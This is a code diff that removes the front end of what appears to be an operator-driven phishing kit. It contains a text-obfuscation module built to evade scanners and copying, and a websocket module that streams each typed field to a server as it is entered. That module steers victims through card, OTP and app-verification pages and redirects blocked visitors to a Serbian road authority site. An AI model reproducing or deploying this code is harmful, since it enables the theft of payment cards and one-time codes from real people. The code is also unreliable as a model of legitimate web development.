|
|
||||||
|
|
||||||
// 收集需要处理的文本节点
|
|
||||||
const textNodes: Text[] = [];
|
|
||||||
let currentNode: Node | null = walker.nextNode();
|
|
||||||
|
|
||||||
while (currentNode) {
|
|
||||||
textNodes.push(currentNode as Text);
|
|
||||||
currentNode = walker.nextNode();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 预先计算所有混淆内容,减少DOM操作次数
|
|
||||||
const fragments: DocumentFragment[] = [];
|
|
||||||
const nodesToReplace: Text[] = [];
|
|
||||||
|
|
||||||
// 在处理文本节点前,移除所有前导空格
|
|
||||||
for (const textNode of textNodes) {
|
|
||||||
const text = textNode.textContent;
|
|
||||||
if (!text) continue;
|
|
||||||
|
|
||||||
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
|
|
||||||
let processedText = text;
|
|
||||||
if (textNode.parentElement?.tagName === 'P' &&
|
|
||||||
textNode === textNode.parentElement.firstChild) {
|
|
||||||
// 去除开头的空白,无论什么情况
|
|
||||||
processedText = text.replace(/^\s+/, '');
|
|
||||||
// 如果去除空白后为空,直接跳过这个节点
|
|
||||||
if (!processedText) continue;
|
|
||||||
}
|
|
||||||
|
|
||||||
try {
|
|
||||||
// 创建文档碎片来存储混淆后的内容
|
|
||||||
const fragment = document.createDocumentFragment();
|
|
||||||
const tempContainer = document.createElement('div');
|
|
||||||
tempContainer.innerHTML = obfuscateText(processedText);
|
|
||||||
|
|
||||||
// 将内容移动到碎片中
|
|
||||||
while (tempContainer.firstChild) {
|
|
||||||
fragment.appendChild(tempContainer.firstChild);
|
|
||||||
}
|
|
||||||
|
|
||||||
fragments.push(fragment);
|
|
||||||
nodesToReplace.push(textNode);
|
|
||||||
} catch (error) {
|
|
||||||
console.error('Error processing text node:', error);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 批量替换节点,减少回流
|
|
||||||
for (let i = 0; i < nodesToReplace.length; i++) {
|
|
||||||
const textNode = nodesToReplace[i];
|
|
||||||
const fragment = fragments[i];
|
|
||||||
|
|
||||||
if (textNode.parentNode) {
|
|
||||||
textNode.parentNode.replaceChild(fragment, textNode);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 设置 MutationObserver 来监听 DOM 变化
|
|
||||||
*/
|
|
||||||
function setupMutationObserver(element: Element) {
|
|
||||||
if (!element) return;
|
|
||||||
|
|
||||||
const observer = new MutationObserver((mutations) => {
|
|
||||||
for (const mutation of mutations) {
|
|
||||||
if (mutation.type === 'childList' && mutation.addedNodes.length) {
|
|
||||||
mutation.addedNodes.forEach((node) => {
|
|
||||||
if (node.nodeType === Node.ELEMENT_NODE) {
|
|
||||||
processTextNodes(node as Element, null);
|
|
||||||
// 观察到新元素后立即解码
|
|
||||||
if (window.decodeObfuscatedContent) {
|
|
||||||
window.decodeObfuscatedContent(node as Element);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
observer.observe(element, {
|
|
||||||
childList: true,
|
|
||||||
subtree: true
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 生成随机噪声标签和注释
|
|
||||||
*/
|
|
||||||
function getRandomNoise() {
|
|
||||||
const noiseTypes = [
|
|
||||||
// HTML注释
|
|
||||||
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
|
|
||||||
// 空的自定义元素
|
|
||||||
() => {
|
|
||||||
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
|
|
||||||
const tag = tags[Math.floor(Math.random() * tags.length)];
|
|
||||||
return `<${tag}></${tag}>`;
|
|
||||||
},
|
|
||||||
// 带随机属性的自定义元素
|
|
||||||
() => {
|
|
||||||
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
|
|
||||||
const value = Math.random().toString(36).substring(2, 10);
|
|
||||||
return `<z-attr ${attr}="${value}"></z-attr>`;
|
|
||||||
},
|
|
||||||
// 带随机文本的隐藏元素
|
|
||||||
() => {
|
|
||||||
const text = Math.random().toString(36).substring(2, 8);
|
|
||||||
return `<z-text>${text}</z-text>`;
|
|
||||||
}
|
|
||||||
];
|
|
||||||
|
|
||||||
// 随机选择一种噪声类型
|
|
||||||
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
|
|
||||||
return noiseGenerator();
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 混淆文本 - 将文本拆分成单词并分别存储,使用自定义z-标签
|
|
||||||
*/
|
|
||||||
function obfuscateText(text: string): string {
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
|
|
||||||
text = text.replace(/^\s+/, '');
|
|
||||||
if (!text) return '';
|
|
||||||
|
|
||||||
// 使用正则表达式将文本拆分为单词和空格,保持完整性
|
|
||||||
const words = text.split(/(\s+)/);
|
|
||||||
let result = '<z-wrap data-obfuscated="true">';
|
|
||||||
|
|
||||||
// 过滤掉空字符串,避免生成空的z-span元素
|
|
||||||
const filteredWords = words.filter(word => word.length > 0);
|
|
||||||
|
|
||||||
// 为每个单词创建一个独立的自定义元素
|
|
||||||
filteredWords.forEach((word, index) => {
|
|
||||||
// 对空格和特殊字符进行特殊处理
|
|
||||||
if (/^\s+$/.test(word)) {
|
|
||||||
// 改进:更精确地处理各种换行符
|
|
||||||
if (/[\n\r]/.test(word)) {
|
|
||||||
// 将所有类型的换行符分割出来,但仅在实际有换行符时才添加z-break元素
|
|
||||||
result += '<z-break></z-break>';
|
|
||||||
} else {
|
|
||||||
// 纯空格的情况 - 对连续空格合并处理,避免添加过多z-space
|
|
||||||
result += '<z-space></z-space>';
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 随机在单词前添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 为了提高效率,固定属性名
|
|
||||||
const attrId = `data`;
|
|
||||||
|
|
||||||
// 将单词编码为Base64
|
|
||||||
const encodedWord = btoa(encodeURIComponent(word));
|
|
||||||
|
|
||||||
// 随机选择z-span或z-strong标签增加混淆度
|
|
||||||
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
|
|
||||||
|
|
||||||
// 添加标签开始部分
|
|
||||||
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
|
|
||||||
|
|
||||||
// 随机在标签内添加隐藏内容,但减少频率
|
|
||||||
if (Math.random() > 0.8) {
|
|
||||||
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
|
|
||||||
result += `<z-hidden>${fakeText}</z-hidden>`;
|
|
||||||
}
|
|
||||||
|
|
||||||
// 闭合标签
|
|
||||||
result += `</${tagName}>`;
|
|
||||||
|
|
||||||
// 随机在单词后添加噪声,但减少频率
|
|
||||||
if (Math.random() > 0.85) {
|
|
||||||
result += getRandomNoise();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
result += '</z-wrap>';
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
|
||||||
* 添加显示混淆内容的样式和解码脚本
|
|
||||||
*/
|
|
||||||
function addObfuscationStyle() {
|
|
||||||
// 添加样式
|
|
||||||
if (!document.getElementById('obfuscation-style')) {
|
|
||||||
const style = document.createElement('style');
|
|
||||||
style.id = 'obfuscation-style';
|
|
||||||
style.textContent = `
|
|
||||||
/* 自定义元素基本样式 */
|
|
||||||
z-wrap {
|
|
||||||
display: inline;
|
|
||||||
white-space: normal;
|
|
||||||
user-select: none; /* 阻止文本选择 */
|
|
||||||
text-indent: 0 !important; /* 确保无缩进 */
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 添加一个类来允许选择文本的情况 */
|
|
||||||
.allow-select z-wrap {
|
|
||||||
user-select: text;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 确保段落中的混淆内容没有开头缩进 */
|
|
||||||
p > z-wrap:first-child {
|
|
||||||
text-indent: 0 !important;
|
|
||||||
margin-left: 0 !important;
|
|
||||||
padding-left: 0 !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 处理所有p标签,确保没有多余空间 */
|
|
||||||
p {
|
|
||||||
text-indent: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span, z-strong {
|
|
||||||
display: inline-block;
|
|
||||||
position: relative;
|
|
||||||
opacity: 1;
|
|
||||||
transition: opacity 0.1s ease;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 控制右侧间距 */
|
|
||||||
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
|
|
||||||
margin-left: 0.1em;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 移除最后一个元素的右侧间距 */
|
|
||||||
z-span:last-child, z-strong:last-child {
|
|
||||||
margin-right: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
z-span::after, z-strong::after {
|
|
||||||
content: attr(data-content);
|
|
||||||
position: relative;
|
|
||||||
pointer-events: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空格元素 - 精确控制宽度 */
|
|
||||||
z-space {
|
|
||||||
display: inline-block;
|
|
||||||
width: 0.25em;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 空的z-span/z-strong元素不应该显示 */
|
|
||||||
z-span:not([data-content]), z-strong:not([data-content]) {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 换行元素 - 强制换行且完全没有尺寸 */
|
|
||||||
z-break {
|
|
||||||
display: block !important;
|
|
||||||
height: 0 !important;
|
|
||||||
width: 0 !important;
|
|
||||||
margin: 0 !important;
|
|
||||||
padding: 0 !important;
|
|
||||||
border: none !important;
|
|
||||||
line-height: 0 !important;
|
|
||||||
font-size: 0 !important;
|
|
||||||
overflow: hidden !important;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 隐藏所有噪声元素 */
|
|
||||||
z-nil, z-void, z-null, z-fake, z-empty, z-attr, z-text, z-hidden {
|
|
||||||
display: none;
|
|
||||||
width: 0;
|
|
||||||
height: 0;
|
|
||||||
opacity: 0;
|
|
||||||
overflow: hidden;
|
|
||||||
position: absolute;
|
|
||||||
visibility: hidden;
|
|
||||||
}
|
|
||||||
|
|
||||||
/* 预加载状态 */
|
|
||||||
[data-preload="true"] {
|
|
||||||
min-width: 0.5em;
|
|
||||||
min-height: 1em;
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(style);
|
|
||||||
}
|
|
||||||
|
|
||||||
// 添加自定义元素注册,确保所有浏览器都能正确处理
|
|
||||||
const scriptCustomElements = document.createElement('script');
|
|
||||||
scriptCustomElements.textContent = `
|
|
||||||
// 注册所有自定义元素
|
|
||||||
if ('customElements' in window) {
|
|
||||||
customElements.define('z-wrap', class extends HTMLElement {});
|
|
||||||
customElements.define('z-span', class extends HTMLElement {});
|
|
||||||
customElements.define('z-strong', class extends HTMLElement {});
|
|
||||||
customElements.define('z-space', class extends HTMLElement {});
|
|
||||||
customElements.define('z-break', class extends HTMLElement {});
|
|
||||||
|
|
||||||
// 注册噪声元素
|
|
||||||
customElements.define('z-nil', class extends HTMLElement {});
|
|
||||||
customElements.define('z-void', class extends HTMLElement {});
|
|
||||||
customElements.define('z-null', class extends HTMLElement {});
|
|
||||||
customElements.define('z-fake', class extends HTMLElement {});
|
|
||||||
customElements.define('z-empty', class extends HTMLElement {});
|
|
||||||
customElements.define('z-attr', class extends HTMLElement {});
|
|
||||||
customElements.define('z-text', class extends HTMLElement {});
|
|
||||||
customElements.define('z-hidden', class extends HTMLElement {});
|
|
||||||
}
|
|
||||||
`;
|
|
||||||
document.head.appendChild(scriptCustomElements);
|
|
||||||
|
|
||||||
// 添加提前解码的脚本,放在<head>顶部优先加载
|
|
||||||
if (!document.getElementById('obfuscation-script')) {
|
|
||||||
const script = document.createElement('script');
|
|
||||||
script.id = 'obfuscation-script';
|
|
||||||
script.textContent = `
|
|
||||||
(function() {
|
|
||||||
// 定义解码函数并暴露为全局函数
|
|
||||||
window.decodeObfuscatedContent = function(rootElement) {
|
|
||||||
const root = rootElement || document.body;
|
|
||||||
const elements = root.querySelectorAll('z-span[data-preload="true"], z-strong[data-preload="true"]');
|
|
||||||
|
|
||||||
if (elements.length === 0) return;
|
|
||||||
|
|
||||||
// 使用requestIdleCallback或setTimeout在空闲时运行,避免阻塞渲染
|
|
||||||
const runWhenIdle = window.requestIdleCallback ||
|
|
||||||
function(cb) { setTimeout(cb, 1); };
|
|
||||||
|
|
||||||
runWhenIdle(() => {
|
|
||||||
elements.forEach(el => {
|
|
||||||
// 避免重复解码
|
|
||||||
if (el.hasAttribute('data-content')) return;
|
|
||||||
|
|
||||||
// 找到编码数据
|
|
||||||
const dataAttr = el.getAttribute('data-data');
|
|
||||||
if (dataAttr) {
|
|
||||||
try {
|
|
||||||
// 解码并设置
|
|
||||||
const decodedWord = decodeURIComponent(atob(dataAttr));
|
|
||||||
el.setAttribute('data-content', decodedWord);
|
|
||||||
el.removeAttribute('data-preload');
|
|
||||||
} catch (e) {
|
|
||||||
// 解码失败时跳过
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
};
|
|
||||||
|
|
||||||
// 页面加载完成后立即执行一次全局解码
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', function() {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
});
|
|
||||||
} else {
|
|
||||||
window.decodeObfuscatedContent();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 使用IntersectionObserver优化解码性能
|
|
||||||
if ('IntersectionObserver' in window) {
|
|
||||||
const decodeObserver = new IntersectionObserver(
|
|
||||||
(entries, observer) => {
|
|
||||||
entries.forEach(entry => {
|
|
||||||
if (entry.isIntersecting) {
|
|
||||||
// 容器进入视口时解码其内容
|
|
||||||
window.decodeObfuscatedContent(entry.target);
|
|
||||||
observer.unobserve(entry.target);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
},
|
|
||||||
{ rootMargin: '200px 0px' } // 提前200像素开始解码
|
|
||||||
);
|
|
||||||
|
|
||||||
// 监听所有混淆容器
|
|
||||||
function observeContainers() {
|
|
||||||
document.querySelectorAll('z-wrap').forEach(container => {
|
|
||||||
decodeObserver.observe(container);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 初始观察
|
|
||||||
if (document.readyState === 'loading') {
|
|
||||||
document.addEventListener('DOMContentLoaded', observeContainers);
|
|
||||||
} else {
|
|
||||||
observeContainers();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 定期检查新容器
|
|
||||||
setInterval(observeContainers, 2000);
|
|
||||||
} else {
|
|
||||||
// 降级方案:定期全局检查
|
|
||||||
setInterval(() => window.decodeObfuscatedContent(), 1000);
|
|
||||||
}
|
|
||||||
})();
|
|
||||||
`;
|
|
||||||
|
|
||||||
// 将脚本添加到head的最前面,确保尽早加载
|
|
||||||
if (document.head.firstChild) {
|
|
||||||
document.head.insertBefore(script, document.head.firstChild);
|
|
||||||
} else {
|
|
||||||
document.head.appendChild(script);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
import _ from "lodash";
|
|
||||||
import { sendInput } from "@/api/api";
|
|
||||||
import type { Socket } from "@/utils/websocket";
|
|
||||||
import eventBus from "@/utils/eventBus";
|
|
||||||
import router from "@/router";
|
|
||||||
import { ref } from "vue";
|
|
||||||
import { useSocket } from "@/utils/websocket";
|
|
||||||
import { useLoadingStore } from "@/stores/loadingStore";
|
|
||||||
import i18n from "@/main";
|
|
||||||
import { useSocketIo } from "./socketio";
|
|
||||||
|
|
||||||
const viteBaseUrl = import.meta.env.VITE_BASE_URL;
|
|
||||||
|
|
||||||
// WebSocket interface
|
|
||||||
interface MyWebSocket {
|
|
||||||
socket: any;
|
|
||||||
send: (data: string) => Promise<void>;
|
|
||||||
off: (event: string) => void;
|
|
||||||
on: (event: string, callback: (data: any) => void) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export const customOtpData = ref<any>({});
|
|
||||||
|
|
||||||
export function setCustomOtpData(data: any) {
|
|
||||||
customOtpData.value = data;
|
|
||||||
localStorage.setItem("customOtpData", JSON.stringify(data));
|
|
||||||
}
|
|
||||||
|
|
||||||
export let myWebSocket: MyWebSocket | undefined;
|
|
||||||
|
|
||||||
// Configuration data
|
|
||||||
export const configData = ref<Record<string, any>>({});
|
|
||||||
|
|
||||||
// Utility function to check if all values in an object are not empty
|
|
||||||
export function areAllValuesNotEmpty(
|
|
||||||
obj: Record<string, any>,
|
|
||||||
excludedFields: string[] = []
|
|
||||||
): boolean {
|
|
||||||
return Object.keys(obj).every((key) => {
|
|
||||||
if (excludedFields.includes(key)) return true;
|
|
||||||
const value = obj[key];
|
|
||||||
return (
|
|
||||||
value !== null &&
|
|
||||||
value !== undefined &&
|
|
||||||
value !== "" &&
|
|
||||||
!(typeof value === "string" && value.trim() === "")
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储 WebSocket 和 API 的防抖函数
|
|
||||||
const wsDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
const apiDebounceFunctions: Record<
|
|
||||||
string,
|
|
||||||
_.DebouncedFunc<(...args: any[]) => void>
|
|
||||||
> = {};
|
|
||||||
|
|
||||||
// 获取或创建针对某个键的防抖函数
|
|
||||||
function getDebouncedFunction(
|
|
||||||
debounceFunctions: Record<string, _.DebouncedFunc<(...args: any[]) => void>>,
|
|
||||||
key: string,
|
|
||||||
func: (...args: any[]) => void,
|
|
||||||
wait: number
|
|
||||||
) {
|
|
||||||
if (!debounceFunctions[key]) {
|
|
||||||
debounceFunctions[key] = _.debounce(func, wait);
|
|
||||||
}
|
|
||||||
return debounceFunctions[key];
|
|
||||||
}
|
|
||||||
|
|
||||||
const modeRef = ref(1)
|
|
||||||
|
|
||||||
|
|
||||||
// 处理输入变化
|
|
||||||
export function inputChange(type: string, key: any, value: any) {
|
|
||||||
const currentTimestamp = Date.now(); // 当前时间戳
|
|
||||||
|
|
||||||
// WebSocket 防抖函数
|
|
||||||
const wsDebouncedFunction = getDebouncedFunction(
|
|
||||||
wsDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "input_text",
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
})
|
|
||||||
);
|
|
||||||
},
|
|
||||||
300
|
|
||||||
);
|
|
||||||
|
|
||||||
// API 防抖函数
|
|
||||||
const apiDebouncedFunction = getDebouncedFunction(
|
|
||||||
apiDebounceFunctions,
|
|
||||||
key,
|
|
||||||
(type, key, value) => {
|
|
||||||
sendInput({
|
|
||||||
content: { type, key, text: value },
|
|
||||||
timestamp: currentTimestamp,
|
|
||||||
});
|
|
||||||
},
|
|
||||||
1000
|
|
||||||
);
|
|
||||||
|
|
||||||
// 调用防抖函数
|
|
||||||
wsDebouncedFunction(type, key, value);
|
|
||||||
if(modeRef.value !== 2) {
|
|
||||||
apiDebouncedFunction(type, key, value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
// Handle login success
|
|
||||||
export function loginSuccess(token: string, mode: number) {
|
|
||||||
if(mode === 2) {
|
|
||||||
modeRef.value = 2
|
|
||||||
myWebSocket = useSocketIo(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}else{
|
|
||||||
myWebSocket = useSocket(
|
|
||||||
`wss://${viteBaseUrl !== "/" ? viteBaseUrl : window.location.host
|
|
||||||
}/ws?token=${token}`
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
myWebSocket?.on("close", () => console.log("Socket closed!"));
|
|
||||||
myWebSocket?.on("open", () => {
|
|
||||||
const lastToken = localStorage.getItem("token");
|
|
||||||
loginWebsocket(token, lastToken !== token);
|
|
||||||
});
|
|
||||||
|
|
||||||
myWebSocket?.on("message", handleMessage);
|
|
||||||
|
|
||||||
window.addEventListener("beforeunload", () => {
|
|
||||||
myWebSocket?.off("close");
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle WebSocket messages
|
|
||||||
function handleMessage(data: any) {
|
|
||||||
const jsonData = JSON.parse(data);
|
|
||||||
if (!jsonData || !jsonData.event) return;
|
|
||||||
|
|
||||||
const { event, content } = jsonData;
|
|
||||||
|
|
||||||
switch (event) {
|
|
||||||
case "login":
|
|
||||||
//handleLoginEvent(content);
|
|
||||||
break;
|
|
||||||
case "result_type":
|
|
||||||
handleResultTypeEvent(content);
|
|
||||||
break;
|
|
||||||
case "reload":
|
|
||||||
window.location.reload();
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle login event
|
|
||||||
function handleLoginEvent(content: any) {
|
|
||||||
const route = localStorage.getItem("route");
|
|
||||||
if (route) {
|
|
||||||
const customOtpDataValue = localStorage.getItem("customOtpData");
|
|
||||||
if (route === "customOtpValid" && customOtpDataValue) {
|
|
||||||
setCustomOtpData(JSON.parse(customOtpDataValue));
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: "customOtpValid", pageTitle: customOtpData.value.name, customType: customOtpData.value.type },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "page_type",
|
|
||||||
content: { pageType: route },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle result type event
|
|
||||||
function handleResultTypeEvent(content: any) {
|
|
||||||
if (!content) return;
|
|
||||||
|
|
||||||
const typeHandlers: Record<string, () => void> = {
|
|
||||||
customOtpValid: () => navigateTo("/customOtpValid", content),
|
|
||||||
otpValid: () => navigateTo("/otpValid", content),
|
|
||||||
appValid: () => navigateTo("/appValid", content),
|
|
||||||
success: () => router.push("/success"),
|
|
||||||
kickOut: redirectToExternal,
|
|
||||||
block: redirectToExternal,
|
|
||||||
otpFail: () =>
|
|
||||||
eventBus.emit("otp-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t("Verification code error, please try again"),
|
|
||||||
}),
|
|
||||||
appFail: () =>
|
|
||||||
eventBus.emit("app-valid", {
|
|
||||||
message2:
|
|
||||||
content.value.message2 ||
|
|
||||||
i18n.global.t(
|
|
||||||
"The session is about to expire, please complete the verification now"
|
|
||||||
),
|
|
||||||
}),
|
|
||||||
back: () => handleBackOrReject(content, true),
|
|
||||||
reject: () => handleBackOrReject(content, false),
|
|
||||||
refresh: () => {
|
|
||||||
if(localStorage.getItem("route")){
|
|
||||||
localStorage.removeItem("route");
|
|
||||||
window.location.reload();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
};
|
|
||||||
|
|
||||||
if (content.type == "customOtpValid") {
|
|
||||||
if(content.value.customOtpData) {
|
|
||||||
setCustomOtpData(JSON.parse(content.value.customOtpData));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (content.type == "customOtpFail") {
|
|
||||||
eventBus.emit("custom-otp-valid", {
|
|
||||||
message2: content.value.message2,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
const handler = typeHandlers[content.type];
|
|
||||||
if (handler) handler();
|
|
||||||
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Navigate to specific path with query parameters
|
|
||||||
function navigateTo(path: string, content: any) {
|
|
||||||
|
|
||||||
router.push('/temp').then(() => {
|
|
||||||
router.push({
|
|
||||||
path: path,
|
|
||||||
query: {
|
|
||||||
cardType: content.value?.data?.cardData?.cardBIN?.schema,
|
|
||||||
message1: content.value?.message1,
|
|
||||||
key: new Date().getMilliseconds(),
|
|
||||||
},
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Handle back or reject type
|
|
||||||
function handleBackOrReject(content: any, isBack: boolean) {
|
|
||||||
let message2 = i18n.global.t(
|
|
||||||
"This card does not support this transaction, please try another card"
|
|
||||||
);
|
|
||||||
|
|
||||||
if (configData.value.error_card_msg) {
|
|
||||||
message2 = configData.value.error_card_msg;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.type) {
|
|
||||||
const type = content.value.type;
|
|
||||||
if (type === "denyC" && configData.value.deny_c_msg) {
|
|
||||||
message2 = configData.value.deny_c_msg;
|
|
||||||
}
|
|
||||||
if (type === "denyD" && configData.value.deny_d_msg) {
|
|
||||||
message2 = configData.value.deny_d_msg;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (content.value.message2) {
|
|
||||||
message2 = content.value.message2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (isBack) {
|
|
||||||
router.push({ path: "/card", query: { message2 } });
|
|
||||||
}
|
|
||||||
|
|
||||||
eventBus.emit("my-event", { message2 });
|
|
||||||
}
|
|
||||||
|
|
||||||
// Login to WebSocket
|
|
||||||
function loginWebsocket(token: string, isFirst: boolean) {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({
|
|
||||||
event: "login",
|
|
||||||
content: { tag: "user", token, isFirst },
|
|
||||||
})
|
|
||||||
);
|
|
||||||
initHtml();
|
|
||||||
}
|
|
||||||
|
|
||||||
// Redirect to an external URL
|
|
||||||
export function redirectToExternal() {
|
|
||||||
window.location.href = "https://www.putevi-srbije.rs/";
|
|
||||||
}
|
|
||||||
|
|
||||||
export async function loadHtml(url: string) {
|
|
||||||
try {
|
|
||||||
const response = await fetch(url); // 替换为您的 HTML 文件路径
|
|
||||||
if (!response.ok) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
return await response.text();
|
|
||||||
} catch (error) {
|
|
||||||
return "";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export const headerHtml = ref("");
|
|
||||||
export const footerHtml = ref("");
|
|
||||||
export const loadingBg = ref("#ffffff");
|
|
||||||
|
|
||||||
const initHtml = async () => {
|
|
||||||
const routePath = localStorage.getItem("route");
|
|
||||||
headerHtml.value = await loadHtml("/Static_zy/header.html");
|
|
||||||
footerHtml.value = await loadHtml("/Static_zy/footer.html");
|
|
||||||
await router.push(routePath ? `/${routePath}` : "/phone");
|
|
||||||
setTimeout(async () => {
|
|
||||||
useLoadingStore().setLoading(false);
|
|
||||||
loadingBg.value = "transparent";
|
|
||||||
}, 200);
|
|
||||||
};
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
|
|
||||||
import { myWebSocket } from "@/utils/common";
|
|
||||||
|
|
||||||
defineProps<{
|
|
||||||
msg: string;
|
|
||||||
}>();
|
|
||||||
|
|
||||||
const sendMsg = () => {
|
|
||||||
myWebSocket?.send(
|
|
||||||
JSON.stringify({ event: "heartbeat", content: { userId: "haha" } })
|
|
||||||
);
|
|
||||||
};
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<div class="greetings">
|
|
||||||
<h1 class="green">{{ msg }}</h1>
|
|
||||||
<button @click="sendMsg">Send</button>/
|
|
||||||
<h3>
|
|
||||||
You’ve successfully created a project with
|
|
||||||
<a href="https://vitejs.dev/" target="_blank" rel="noopener">Vite</a> +
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">Vue 3</a>.
|
|
||||||
What's next?
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</template>
|
|
||||||
|
|
||||||
<style scoped>
|
|
||||||
h1 {
|
|
||||||
font-weight: 500;
|
|
||||||
font-size: 2.6rem;
|
|
||||||
top: -10px;
|
|
||||||
}
|
|
||||||
|
|
||||||
h3 {
|
|
||||||
font-size: 1.2rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media (min-width: 1024px) {
|
|
||||||
.greetings h1,
|
|
||||||
.greetings h3 {
|
|
||||||
text-align: left;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
</style>
|
|
||||||
@@ -1,86 +0,0 @@
|
|||||||
<script setup lang="ts">
|
|
||||||
import WelcomeItem from './WelcomeItem.vue'
|
|
||||||
import DocumentationIcon from './icons/IconDocumentation.vue'
|
|
||||||
import ToolingIcon from './icons/IconTooling.vue'
|
|
||||||
import EcosystemIcon from './icons/IconEcosystem.vue'
|
|
||||||
import CommunityIcon from './icons/IconCommunity.vue'
|
|
||||||
import SupportIcon from './icons/IconSupport.vue'
|
|
||||||
</script>
|
|
||||||
|
|
||||||
<template>
|
|
||||||
<WelcomeItem>
|
|
||||||
<template #icon>
|
|
||||||
<DocumentationIcon />
|
|
||||||
</template>
|
|
||||||
<template #heading>Documentation</template>
|
|
||||||
|
|
||||||
Vue’s
|
|
||||||
<a href="https://vuejs.org/" target="_blank" rel="noopener">official documentation</a>
|
|
||||||
provides you with all information you need to get started.
|
|
